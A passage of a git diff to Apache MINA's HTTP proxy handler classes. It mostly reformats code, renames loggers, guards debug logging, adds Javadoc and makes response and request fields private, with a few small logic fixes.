77babbbd3a..5bcdaef883 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/filter/ProxyHandshakeIoBuffer.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/filter/ProxyHandshakeIoBuffer.java @@ -30,6 +30,10 @@ * @since MINA 2.0.0-M3 */ public class ProxyHandshakeIoBuffer extends IoBufferWrapper { + /** + * Creates a new ProxyHandshakeIoBuffer instance + * @param buf The wrapped buffer + */ public ProxyHandshakeIoBuffer(final IoBuffer buf) { super(buf); } diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/ProxyRequest.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/ProxyRequest.java index 1cc14c2ff1..9e605a86e4 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/ProxyRequest.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/ProxyRequest.java @@ -52,8 +52,6 @@ public ProxyRequest(final InetSocketAddress endpointAddress) { } /** - * Returns the address of the request endpoint. - * * @return the address of the request endpoint */ public InetSocketAddress getEndpointAddress() { diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/AbstractAuthLogicHandler.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/AbstractAuthLogicHandler.java index 5f56ccc2d0..0f6d248cec 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/AbstractAuthLogicHandler.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/AbstractAuthLogicHandler.java @@ -38,8 +38,7 @@ * @since MINA 2.0.0-M3 */ public abstract class AbstractAuthLogicHandler { - private final static Logger logger = LoggerFactory - .getLogger(AbstractAuthLogicHandler.class); + private static final Logger LOGGER = LoggerFactory.getLogger(AbstractAuthLogicHandler.class); /** * The request to be handled by the proxy. @@ -60,16 +59,14 @@ public abstract class AbstractAuthLogicHandler { * Instantiates a handler for the given proxy session. * * @param proxyIoSession the proxy session object - * @throws ProxyAuthException + * @throws ProxyAuthException If we get an error during the proxy authentication */ - protected AbstractAuthLogicHandler(final ProxyIoSession proxyIoSession) - throws ProxyAuthException { + protected AbstractAuthLogicHandler(final ProxyIoSession proxyIoSession) throws ProxyAuthException { this.proxyIoSession = proxyIoSession; this.request = proxyIoSession.getRequest(); if (this.request == null || !(this.request instanceof HttpProxyRequest)) { - throw new IllegalArgumentException( - "request parameter should be a non null HttpProxyRequest instance"); + throw new IllegalArgumentException("request parameter should be a non null HttpProxyRequest instance"); } } @@ -77,45 +74,41 @@ protected AbstractAuthLogicHandler(final ProxyIoSession proxyIoSession) * Method called at each step of the handshaking process. * * @param nextFilter the next filter - * @throws ProxyAuthException + * @throws ProxyAuthException If we get an error during the proxy authentication */ - public abstract void doHandshake(final NextFilter nextFilter) - throws ProxyAuthException; + public abstract void doHandshake(final NextFilter nextFilter) throws ProxyAuthException; /** * Handles a HTTP response from the proxy server. * * @param response The HTTP response. - * @throws ProxyAuthException + * @throws ProxyAuthException If we get an error during the proxy authentication */ - public abstract void handleResponse(final HttpProxyResponse response) - throws ProxyAuthException; + public abstract void handleResponse(final HttpProxyResponse response) throws ProxyAuthException; /** * Sends an HTTP request. * * @param nextFilter the next filter * @param request the request to write - * @throws ProxyAuthException + * @throws ProxyAuthException If we get an error during the proxy authentication */ - protected void writeRequest(final NextFilter nextFilter, - final HttpProxyRequest request) throws ProxyAuthException { - logger.debug(" sending HTTP request"); + protected void writeRequest(final NextFilter nextFilter, final HttpProxyRequest request) throws ProxyAuthException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" sending HTTP request"); + } - ((AbstractHttpLogicHandler) proxyIoSession.getHandler()).writeRequest( - nextFilter, request); + ((AbstractHttpLogicHandler) proxyIoSession.getHandler()).writeRequest(nextFilter, request); } - + /** * Try to force proxy connection to be kept alive. * * @param headers the request headers */ public static void addKeepAliveHeaders(Map> headers) { - StringUtilities.addValueToHeader(headers, "Keep-Alive", - HttpProxyConstants.DEFAULT_KEEP_ALIVE_TIME, true); - StringUtilities.addValueToHeader(headers, "Proxy-Connection", - "keep-Alive", true); + StringUtilities.addValueToHeader(headers, "Keep-Alive", HttpProxyConstants.DEFAULT_KEEP_ALIVE_TIME, true); + StringUtilities.addValueToHeader(headers, "Proxy-Connection", "keep-Alive", true); } - + } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/AbstractHttpLogicHandler.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/AbstractHttpLogicHandler.java index 46106f7236..4b85f8dd5d 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/AbstractHttpLogicHandler.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/AbstractHttpLogicHandler.java @@ -27,7 +27,6 @@ import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.filterchain.IoFilter.NextFilter; import org.apache.mina.core.future.ConnectFuture; -import org.apache.mina.core.future.IoFutureListener; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.session.IoSessionInitializer; import org.apache.mina.proxy.AbstractProxyLogicHandler; @@ -45,19 +44,14 @@ * @author Apache MINA Project * @since MINA 2.0.0-M3 */ -public abstract class AbstractHttpLogicHandler extends - AbstractProxyLogicHandler { - private final static Logger LOGGER = LoggerFactory - .getLogger(AbstractHttpLogicHandler.class); +public abstract class AbstractHttpLogicHandler extends AbstractProxyLogicHandler { + private static final Logger LOGGER = LoggerFactory.getLogger(AbstractHttpLogicHandler.class); - private final static String DECODER = AbstractHttpLogicHandler.class - .getName() - + ".Decoder"; + private static final String DECODER = AbstractHttpLogicHandler.class.getName() + ".Decoder"; - private final static byte[] HTTP_DELIMITER = new byte[] { '\r', '\n', '\r', - '\n' }; + private static final byte[] HTTP_DELIMITER = new byte[] { '\r', '\n', '\r', '\n' }; - private final static byte[] CRLF_DELIMITER = new byte[] { '\r', '\n' }; + private static final byte[] CRLF_DELIMITER = new byte[] { '\r', '\n' }; // Parsing vars @@ -107,7 +101,6 @@ public abstract class AbstractHttpLogicHandler extends * Creates a new {@link AbstractHttpLogicHandler}. * * @param proxyIoSession the {@link ProxyIoSession} in use. - * @param request the requested url to negotiate with the proxy. */ public AbstractHttpLogicHandler(final ProxyIoSession proxyIoSession) { super(proxyIoSession); @@ -120,12 +113,13 @@ public AbstractHttpLogicHandler(final ProxyIoSession proxyIoSession) { * @param nextFilter the next filter * @param buf the buffer holding received data */ - public synchronized void messageReceived(final NextFilter nextFilter, - final IoBuffer buf) throws ProxyAuthException { - LOGGER.debug(" messageReceived()"); + @Override + public synchronized void messageReceived(final NextFilter nextFilter, final IoBuffer buf) throws ProxyAuthException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" messageReceived()"); + } - IoBufferDecoder decoder = (IoBufferDecoder) getSession().getAttribute( - DECODER); + IoBufferDecoder decoder = (IoBufferDecoder) getSession().getAttribute(DECODER); if (decoder == null) { decoder = new IoBufferDecoder(HTTP_DELIMITER); getSession().setAttribute(DECODER, decoder); @@ -140,35 +134,32 @@ public synchronized void messageReceived(final NextFilter nextFilter, } // Handle the response - String responseHeader = responseData - .getString(getProxyIoSession().getCharset() - .newDecoder()); + String responseHeader = responseData.getString(getProxyIoSession().getCharset().newDecoder()); entityBodyStartPosition = responseData.position(); - LOGGER.debug(" response header received:\n{}", responseHeader - .replace("\r", "\\r").replace("\n", "\\n\n")); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" response header received:\n{}", + responseHeader.replace("\r", "\\r").replace("\n", "\\n\n")); + } // Parse the response parsedResponse = decodeResponse(responseHeader); // Is handshake complete ? if (parsedResponse.getStatusCode() == 200 - || (parsedResponse.getStatusCode() >= 300 && parsedResponse - .getStatusCode() <= 307)) { + || (parsedResponse.getStatusCode() >= 300 && parsedResponse.getStatusCode() <= 307)) { buf.position(0); setHandshakeComplete(); return; } - String contentLengthHeader = StringUtilities - .getSingleValuedHeader(parsedResponse.getHeaders(), - "Content-Length"); + String contentLengthHeader = StringUtilities.getSingleValuedHeader(parsedResponse.getHeaders(), + "Content-Length"); if (contentLengthHeader == null) { contentLength = 0; } else { - contentLength = Integer - .parseInt(contentLengthHeader.trim()); + contentLength = Integer.parseInt(contentLengthHeader.trim()); decoder.setContentLength(contentLength, true); } } @@ -184,11 +175,13 @@ public synchronized void messageReceived(final NextFilter nextFilter, contentLength = 0; } - if ("chunked".equalsIgnoreCase(StringUtilities - .getSingleValuedHeader(parsedResponse.getHeaders(), - "Transfer-Encoding"))) { + if ("chunked".equalsIgnoreCase(StringUtilities.getSingleValuedHeader(parsedResponse.getHeaders(), + "Transfer-Encoding"))) { // Handle Transfer-Encoding: Chunked - LOGGER.debug("Retrieving additional http response chunks"); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Retrieving additional http response chunks"); + } + hasChunkedData = true; waitingChunkedData = true; } @@ -204,14 +197,12 @@ public synchronized void messageReceived(final NextFilter nextFilter, return; } - String chunkSize = tmp.getString(getProxyIoSession() - .getCharset().newDecoder()); + String chunkSize = tmp.getString(getProxyIoSession().getCharset().newDecoder()); int pos = chunkSize.indexOf(';'); if (pos >= 0) { chunkSize = chunkSize.substring(0, pos); } else { - chunkSize = chunkSize.substring(0, chunkSize - .length() - 2); + chunkSize = chunkSize.substring(0, chunkSize.length() - 2); } contentLength = Integer.decode("0x" + chunkSize); if (contentLength > 0) { @@ -250,11 +241,9 @@ public synchronized void messageReceived(final NextFilter nextFilter, } // add footer to headers - String footer = tmp.getString(getProxyIoSession() - .getCharset().newDecoder()); + String footer = tmp.getString(getProxyIoSession().getCharset().newDecoder()); String[] f = footer.split(":\\s?", 2); - StringUtilities.addValueToHeader(parsedResponse - .getHeaders(), f[0], f[1], false); + StringUtilities.addValueToHeader(parsedResponse.getHeaders(), f[0], f[1], false); responseData.put(tmp); responseData.put(CRLF_DELIMITER); } @@ -262,15 +251,15 @@ public synchronized void messageReceived(final NextFilter nextFilter, responseData.flip(); - LOGGER.debug(" end of response received:\n{}", - responseData.getString(getProxyIoSession().getCharset() - .newDecoder())); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" end of response received:\n{}", + responseData.getString(getProxyIoSession().getCharset().newDecoder())); + } // Retrieve entity body content responseData.position(entityBodyStartPosition); responseData.limit(entityBodyLimitPosition); - parsedResponse.setBody(responseData.getString(getProxyIoSession() - .getCharset().newDecoder())); + parsedResponse.setBody(responseData.getString(getProxyIoSession().getCharset().newDecoder())); // Free the response buffer responseData.free(); @@ -288,7 +277,7 @@ public synchronized void messageReceived(final NextFilter nextFilter, } } catch (Exception ex) { if (ex instanceof ProxyAuthException) { - throw ((ProxyAuthException) ex); + throw (ProxyAuthException) ex; } throw new ProxyAuthException("Handshake failed", ex); @@ -299,19 +288,18 @@ public synchronized void messageReceived(final NextFilter nextFilter, * Handles a HTTP response from the proxy server. * * @param response The response. + * @throws ProxyAuthException If we get an error during the proxy authentication */ - public abstract void handleResponse(final HttpProxyResponse response) - throws ProxyAuthException; + public abstract void handleResponse(final HttpProxyResponse response) throws ProxyAuthException; /** - * Calls{@link #writeRequest0(NextFilter, HttpProxyRequest)} to write the request. + * Calls writeRequest0(NextFilter, HttpProxyRequest) to write the request. * If needed a reconnection to the proxy is done previously. * * @param nextFilter the next filter * @param request the http request */ - public void writeRequest(final NextFilter nextFilter, - final HttpProxyRequest request) { + public void writeRequest(final NextFilter nextFilter, final HttpProxyRequest request) { ProxyIoSession proxyIoSession = getProxyIoSession(); if (proxyIoSession.isReconnectionNeeded()) { @@ -327,15 +315,14 @@ public void writeRequest(final NextFilter nextFilter, * @param nextFilter the next filter * @param request the http request */ - private void writeRequest0(final NextFilter nextFilter, - final HttpProxyRequest request) { + private void writeRequest0(final NextFilter nextFilter, final HttpProxyRequest request) { try { String data = request.toHttpString(); - IoBuffer buf = IoBuffer.wrap(data.getBytes(getProxyIoSession() - .getCharsetName())); + IoBuffer buf = IoBuffer.wrap(data.getBytes(getProxyIoSession().getCharsetName())); - LOGGER.debug(" write:\n{}", data.replace("\r", "\\r").replace( - "\n", "\\n\n")); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" write:\n{}", data.replace("\r", "\\r").replace("\n", "\\n\n")); + } writeData(nextFilter, buf); @@ -351,45 +338,47 @@ private void writeRequest0(final NextFilter nextFilter, * @param nextFilter the next filter * @param request the http request */ - private void reconnect(final NextFilter nextFilter, - final HttpProxyRequest request) { - LOGGER.debug("Reconnecting to proxy ..."); + private void reconnect(final NextFilter nextFilter, final HttpProxyRequest request) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Reconnecting to proxy ..."); + } final ProxyIoSession proxyIoSession = getProxyIoSession(); // Fires reconnection - proxyIoSession.getConnector().connect( - new IoSessionInitializer() { - public void initializeSession(final IoSession session, - ConnectFuture future) { - LOGGER.debug("Initializing new session: {}", session); - session.setAttribute(ProxyIoSession.PROXY_SESSION, - proxyIoSession); - proxyIoSession.setSession(session); - LOGGER.debug(" setting up proxyIoSession: {}", proxyIoSession); - future - .addListener(new IoFutureListener() { - public void operationComplete( - ConnectFuture future) { - // Reconnection is done so we send the - // request to the proxy - proxyIoSession - .setReconnectionNeeded(false); - writeRequest0(nextFilter, request); - } - }); - } - }); + proxyIoSession.getConnector().connect(new IoSessionInitializer() { + @Override + public void initializeSession(final IoSession session, ConnectFuture future) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Initializing new session: {}", session); + } + + session.setAttribute(ProxyIoSession.PROXY_SESSION, proxyIoSession); + proxyIoSession.setSession(session); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" setting up proxyIoSession: {}", proxyIoSession); + } + + // Reconnection is done so we send the + // request to the proxy + proxyIoSession.setReconnectionNeeded(false); + writeRequest0(nextFilter, request); + } + }); } /** * Parse a HTTP response from the proxy server. * * @param response The response string. + * @return The decoded HttpResponse + * @throws Exception If we get an error while decoding the response */ - protected HttpProxyResponse decodeResponse(final String response) - throws Exception { - LOGGER.debug(" parseResponse()"); + protected HttpProxyResponse decodeResponse(final String response) throws Exception { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" parseResponse()"); + } // Break response into lines String[] responseLines = response.split(HttpProxyConstants.CRLF); @@ -400,17 +389,15 @@ protected HttpProxyResponse decodeResponse(final String response) String[] statusLine = responseLines[0].trim().split(" ", 2); if (statusLine.length < 2) { - throw new Exception("Invalid response status line (" + statusLine - + "). Response: " + response); + throw new Exception("Invalid response status line (" + statusLine + "). Response: " + response); } - // Status code is 3 digits - if (statusLine[1].matches("^\\d\\d\\d")) { - throw new Exception("Invalid response code (" + statusLine[1] - + "). Response: " + response); + // Status line [1] is 3 digits, space and optional error text + if (!statusLine[1].matches("^\\d\\d\\d.*")) { + throw new Exception("Invalid response code (" + statusLine[1] + "). Response: " + response); } - Map> headers = new HashMap>(); + Map> headers = new HashMap<>(); for (int i = 1; i < responseLines.length; i++) { String[] args = responseLines[i].split(":\\s?", 2); diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpAuthenticationMethods.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpAuthenticationMethods.java index 0adbe3c9b3..924601c155 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpAuthenticationMethods.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpAuthenticationMethods.java @@ -33,18 +33,26 @@ * @since MINA 2.0.0-M3 */ public enum HttpAuthenticationMethods { - - NO_AUTH(1), BASIC(2), NTLM(3), DIGEST(4); + /** No authentication */ + NO_AUTH(1), - private final int id; + /** Basic authentication */ + BASIC(2), + + /** NTLM (Microsoft) authentication */ + NTLM(3), + /** Digest authentication */ + DIGEST(4); + + private final int id; + private HttpAuthenticationMethods(int id) { this.id = id; } /** - * Returns the authentication mechanism id. - * @return the id + * @return the authentication mechanism id. */ public int getId() { return id; @@ -55,9 +63,9 @@ public int getId() { * * @param proxyIoSession the proxy session object * @return a new logic handler + * @throws ProxyAuthException If we get an error during the proxy authentication */ - public AbstractAuthLogicHandler getNewHandler(ProxyIoSession proxyIoSession) - throws ProxyAuthException { + public AbstractAuthLogicHandler getNewHandler(ProxyIoSession proxyIoSession) throws ProxyAuthException { return getNewHandler(this.id, proxyIoSession); } @@ -67,21 +75,18 @@ public AbstractAuthLogicHandler getNewHandler(ProxyIoSession proxyIoSession) * @param method the authentication mechanism to use * @param proxyIoSession the proxy session object * @return a new logic handler - */ - public static AbstractAuthLogicHandler getNewHandler( - int method, ProxyIoSession proxyIoSession) + * @throws ProxyAuthException If we get an error during the proxy authentication + */ + public static AbstractAuthLogicHandler getNewHandler(int method, ProxyIoSession proxyIoSession) throws ProxyAuthException { - + if (method == BASIC.id) return new HttpBasicAuthLogicHandler(proxyIoSession); - else - if (method == DIGEST.id) + else if (method == DIGEST.id) return new HttpDigestAuthLogicHandler(proxyIoSession); - else - if (method == NTLM.id) + else if (method == NTLM.id) return new HttpNTLMAuthLogicHandler(proxyIoSession); - else - if (method == NO_AUTH.id) + else if (method == NO_AUTH.id) return new HttpNoAuthLogicHandler(proxyIoSession); else return null; diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpProxyConstants.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpProxyConstants.java index bdfc40f4d3..fec096518d 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpProxyConstants.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpProxyConstants.java @@ -26,62 +26,64 @@ * @since MINA 2.0.0-M3 */ public class HttpProxyConstants { - /** * The HTTP CONNECT verb. */ - public final static String CONNECT = "CONNECT"; + public static final String CONNECT = "CONNECT"; /** * The HTTP GET verb. */ - public final static String GET = "GET"; + public static final String GET = "GET"; /** * The HTTP PUT verb. - */ - public final static String PUT = "PUT"; + */ + public static final String PUT = "PUT"; /** * The HTTP 1.0 protocol version string. - */ - public final static String HTTP_1_0 = "HTTP/1.0"; + */ + public static final String HTTP_1_0 = "HTTP/1.0"; /** * The HTTP 1.1 protocol version string. - */ - public final static String HTTP_1_1 = "HTTP/1.1"; + */ + public static final String HTTP_1_1 = "HTTP/1.1"; /** * The CRLF character sequence used in HTTP protocol to end each line. - */ - public final static String CRLF = "\r\n"; + */ + public static final String CRLF = "\r\n"; /** * The default keep-alive timeout we set to make proxy * connection persistent. Set to 300 ms. */ - public final static String DEFAULT_KEEP_ALIVE_TIME = "300"; + public static final String DEFAULT_KEEP_ALIVE_TIME = "300"; // ProxyRequest properties - + /** * The username property. Used in auth mechs. */ - public final static String USER_PROPERTY = "USER"; + public static final String USER_PROPERTY = "USER"; /** * The password property. Used in auth mechs. */ - public final static String PWD_PROPERTY = "PWD"; + public static final String PWD_PROPERTY = "PWD"; /** * The domain name property. Used in auth mechs. */ - public final static String DOMAIN_PROPERTY = "DOMAIN"; + public static final String DOMAIN_PROPERTY = "DOMAIN"; /** * The workstation name property. Used in auth mechs. */ - public final static String WORKSTATION_PROPERTY = "WORKSTATION"; + public static final String WORKSTATION_PROPERTY = "WORKSTATION"; + + private HttpProxyConstants() { + } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpProxyRequest.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpProxyRequest.java index c508bd5b55..ac9d57d673 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpProxyRequest.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpProxyRequest.java @@ -37,18 +37,17 @@ * @since MINA 2.0.0-M3 */ public class HttpProxyRequest extends ProxyRequest { - private final static Logger logger = LoggerFactory - .getLogger(HttpProxyRequest.class); + private static final Logger LOGGER = LoggerFactory.getLogger(HttpProxyRequest.class); /** * The HTTP verb. */ - public final String httpVerb; + private final String httpVerb; /** * The HTTP URI. */ - public final String httpURI; + private final String httpURI; /** * The HTTP protocol version. @@ -69,7 +68,7 @@ public class HttpProxyRequest extends ProxyRequest { * The additionnal properties supplied to use with the proxy for * authentication for example. */ - private transient Map properties; + private Map properties; /** * Constructor which creates a HTTP/1.0 CONNECT request to the specified @@ -87,9 +86,8 @@ public HttpProxyRequest(final InetSocketAddress endpointAddress) { * * @param endpointAddress the endpoint to connect to * @param httpVersion the HTTP protocol version - */ - public HttpProxyRequest(final InetSocketAddress endpointAddress, - final String httpVersion) { + */ + public HttpProxyRequest(final InetSocketAddress endpointAddress, final String httpVersion) { this(endpointAddress, httpVersion, null); } @@ -100,18 +98,16 @@ public HttpProxyRequest(final InetSocketAddress endpointAddress, * @param endpointAddress the endpoint to connect to * @param httpVersion the HTTP protocol version * @param headers the additionnal http headers - */ - public HttpProxyRequest(final InetSocketAddress endpointAddress, - final String httpVersion, final Map> headers) { + */ + public HttpProxyRequest(final InetSocketAddress endpointAddress, final String httpVersion, + final Map> headers) { this.httpVerb = HttpProxyConstants.CONNECT; - if (!endpointAddress.isUnresolved()) { - this.httpURI = endpointAddress.getHostName() + ":" - + endpointAddress.getPort(); + if (endpointAddress.isUnresolved()) { + this.httpURI = endpointAddress.getHostName() + ":" + endpointAddress.getPort(); } else { - this.httpURI = endpointAddress.getAddress().getHostAddress() + ":" - + endpointAddress.getPort(); + this.httpURI = endpointAddress.getAddress().getHostAddress() + ":" + endpointAddress.getPort(); } - + this.httpVersion = httpVersion; this.headers = headers; } @@ -121,7 +117,7 @@ public HttpProxyRequest(final InetSocketAddress endpointAddress, * http URI. * * @param httpURI the target URI - */ + */ public HttpProxyRequest(final String httpURI) { this(HttpProxyConstants.GET, httpURI, HttpProxyConstants.HTTP_1_0, null); } @@ -132,7 +128,7 @@ public HttpProxyRequest(final String httpURI) { * * @param httpURI the target URI * @param httpVersion the HTTP protocol version - */ + */ public HttpProxyRequest(final String httpURI, final String httpVersion) { this(HttpProxyConstants.GET, httpURI, httpVersion, null); } @@ -144,9 +140,8 @@ public HttpProxyRequest(final String httpURI, final String httpVersion) { * @param httpVerb the HTTP verb to use * @param httpURI the target URI * @param httpVersion the HTTP protocol version - */ - public HttpProxyRequest(final String httpVerb, final String httpURI, - final String httpVersion) { + */ + public HttpProxyRequest(final String httpVerb, final String httpURI, final String httpVersion) { this(httpVerb, httpURI, httpVersion, null); } @@ -160,8 +155,8 @@ public HttpProxyRequest(final String httpVerb, final String httpURI, * @param httpVersion the HTTP protocol version * @param headers the additional http headers */ - public HttpProxyRequest(final String httpVerb, final String httpURI, - final String httpVersion, final Map> headers) { + public HttpProxyRequest(final String httpVerb, final String httpURI, final String httpVersion, + final Map> headers) { this.httpVerb = httpVerb; this.httpURI = httpURI; this.httpVersion = httpVersion; @@ -169,14 +164,14 @@ public HttpProxyRequest(final String httpVerb, final String httpURI, } /** - * Returns the HTTP request verb. + * @return the HTTP request verb. */ public final String getHttpVerb() { return httpVerb; } /** - * Returns the HTTP version. + * @return the HTTP version. */ public String getHttpVersion() { return httpVersion; @@ -192,12 +187,11 @@ public void setHttpVersion(String httpVersion) { } /** - * Returns the host to which we are connecting. + * @return the host to which we are connecting. */ - public synchronized final String getHost() { + public final synchronized String getHost() { if (host == null) { - if (getEndpointAddress() != null && - !getEndpointAddress().isUnresolved()) { + if (getEndpointAddress() != null && !getEndpointAddress().isUnresolved()) { host = getEndpointAddress().getHostName(); } @@ -205,7 +199,9 @@ public synchronized final String getHost() { try { host = (new URL(httpURI)).getHost(); } catch (MalformedURLException e) { - logger.debug("Malformed URL", e); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Malformed URL", e); + } } } } @@ -214,14 +210,14 @@ public synchronized final String getHost() { } /** - * Returns the request HTTP URI. + * @return the request HTTP URI. */ public final String getHttpURI() { return httpURI; } /** - * Returns the HTTP headers. + * @return the HTTP headers. */ public final Map> getHeaders() { return headers; @@ -229,13 +225,15 @@ public final Map> getHeaders() { /** * Set the HTTP headers. + * + * @param headers The HTTP headers to set */ public final void setHeaders(Map> headers) { this.headers = headers; } /** - * Returns additional properties for the request. + * @return additional properties for the request. */ public Map getProperties() { return properties; @@ -243,6 +241,8 @@ public Map getProperties() { /** * Set additional properties for the request. + * + * @param properties The properties to add to the reqyest */ public void setProperties(Map properties) { this.properties = properties; @@ -251,6 +251,9 @@ public void setProperties(Map properties) { /** * Check if the given property(ies) is(are) set. Otherwise throws a * {@link ProxyAuthException}. + * + * @param propNames The list of property name to check + * @throws ProxyAuthException If we get an error during the proxy authentication */ public void checkRequiredProperties(String... propNames) throws ProxyAuthException { StringBuilder sb = new StringBuilder(); @@ -264,35 +267,31 @@ public void checkRequiredProperties(String... propNames) throws ProxyAuthExcepti throw new ProxyAuthException(sb.toString()); } } - + /** - * Returns the string representation of the HTTP request . + * @return the string representation of the HTTP request . */ public String toHttpString() { StringBuilder sb = new StringBuilder(); - sb.append(getHttpVerb()).append(' ').append(getHttpURI()).append(' ') - .append(getHttpVersion()).append(HttpProxyConstants.CRLF); + sb.append(getHttpVerb()).append(' ').append(getHttpURI()).append(' ').append(getHttpVersion()) + .append(HttpProxyConstants.CRLF); boolean hostHeaderFound = false; if (getHeaders() != null) { - for (Map.Entry> header : getHeaders() - .entrySet()) { + for (Map.Entry> header : getHeaders().entrySet()) { if (!hostHeaderFound) { - hostHeaderFound = header.getKey().equalsIgnoreCase("host"); + hostHeaderFound = "host".equalsIgnoreCase(header.getKey()); } for (String value : header.getValue()) { - sb.append(header.getKey()).append(": ").append(value) - .append(HttpProxyConstants.CRLF); + sb.append(header.getKey()).append(": ").append(value).append(HttpProxyConstants.CRLF); } } - if (!hostHeaderFound - && getHttpVersion() == HttpProxyConstants.HTTP_1_1) { - sb.append("Host: ").append(getHost()).append( - HttpProxyConstants.CRLF); + if (!hostHeaderFound && HttpProxyConstants.HTTP_1_1.equals(getHttpVersion())) { + sb.append("Host: ").append(getHost()).append(HttpProxyConstants.CRLF); } } @@ -300,4 +299,4 @@ && getHttpVersion() == HttpProxyConstants.HTTP_1_1) { return sb.toString(); } -} \ No newline at end of file +} diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpProxyResponse.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpProxyResponse.java index 38b7856f02..efab71769b 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpProxyResponse.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpProxyResponse.java @@ -32,27 +32,27 @@ public class HttpProxyResponse { /** * The HTTP response protocol version. */ - public final String httpVersion; + private final String httpVersion; /** * The HTTP response status line. */ - public final String statusLine; + private final String statusLine; /** * The HTTP response status code; */ - public final int statusCode; + private final int statusCode; /** * The HTTP response headers. */ - public final Map> headers; + private final Map> headers; /** * The HTTP response body. */ - public String body; + private String body; /** * Constructor of an HTTP proxy response. @@ -61,42 +61,41 @@ public class HttpProxyResponse { * @param statusLine the response status line * @param headers the response headers */ - protected HttpProxyResponse(final String httpVersion, - final String statusLine, final Map> headers) { + protected HttpProxyResponse(final String httpVersion, final String statusLine, + final Map> headers) { this.httpVersion = httpVersion; this.statusLine = statusLine; // parses the status code from the status line - this.statusCode = statusLine.charAt(0) == ' ' ? Integer - .parseInt(statusLine.substring(1, 4)) : Integer + this.statusCode = statusLine.charAt(0) == ' ' ? Integer.parseInt(statusLine.substring(1, 4)) : Integer .parseInt(statusLine.substring(0, 3)); this.headers = headers; } /** - * Returns the HTTP response protocol version. + * @return the HTTP response protocol version. */ public final String getHttpVersion() { return httpVersion; } /** - * Returns the HTTP response status code. + * @return the HTTP response status code. */ public final int getStatusCode() { return statusCode; } /** - * Returns the HTTP response status line. + * @return the HTTP response status line. */ public final String getStatusLine() { return statusLine; } /** - * Returns the HTTP response body. + * @return the HTTP response body. */ public String getBody() { return body; @@ -104,13 +103,15 @@ public String getBody() { /** * Sets the HTTP response body. + * + * @param body The HTTP Body */ public void setBody(String body) { this.body = body; } /** - * Returns the HTTP response headers. + * @return the HTTP response headers. */ public final Map> getHeaders() { return headers; diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpSmartProxyHandler.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpSmartProxyHandler.java index d3852997bd..3097cce865 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpSmartProxyHandler.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/HttpSmartProxyHandler.java @@ -38,8 +38,7 @@ * @since MINA 2.0.0-M3 */ public class HttpSmartProxyHandler extends AbstractHttpLogicHandler { - private final static Logger logger = LoggerFactory - .getLogger(HttpSmartProxyHandler.class); + private static final Logger LOGGER = LoggerFactory.getLogger(HttpSmartProxyHandler.class); /** * Has the HTTP proxy request been sent ? @@ -51,6 +50,11 @@ public class HttpSmartProxyHandler extends AbstractHttpLogicHandler { */ private AbstractAuthLogicHandler authHandler; + /** + * Creates a new HttpSmartProxyHandler instance + * + * @param proxyIoSession The Prowxy IoSession + */ public HttpSmartProxyHandler(final ProxyIoSession proxyIoSession) { super(proxyIoSession); } @@ -60,26 +64,28 @@ public HttpSmartProxyHandler(final ProxyIoSession proxyIoSession) { * * @param nextFilter the next filter */ - public void doHandshake(final NextFilter nextFilter) - throws ProxyAuthException { - logger.debug(" doHandshake()"); + @Override + public void doHandshake(final NextFilter nextFilter) throws ProxyAuthException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" doHandshake()"); + } if (authHandler != null) { authHandler.doHandshake(nextFilter); } else { if (requestSent) { // Safety check - throw new ProxyAuthException( - "Authentication request already sent"); + throw new ProxyAuthException("Authentication request already sent"); } - logger.debug(" sending HTTP request"); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" sending HTTP request"); + } // Compute request headers - HttpProxyRequest req = 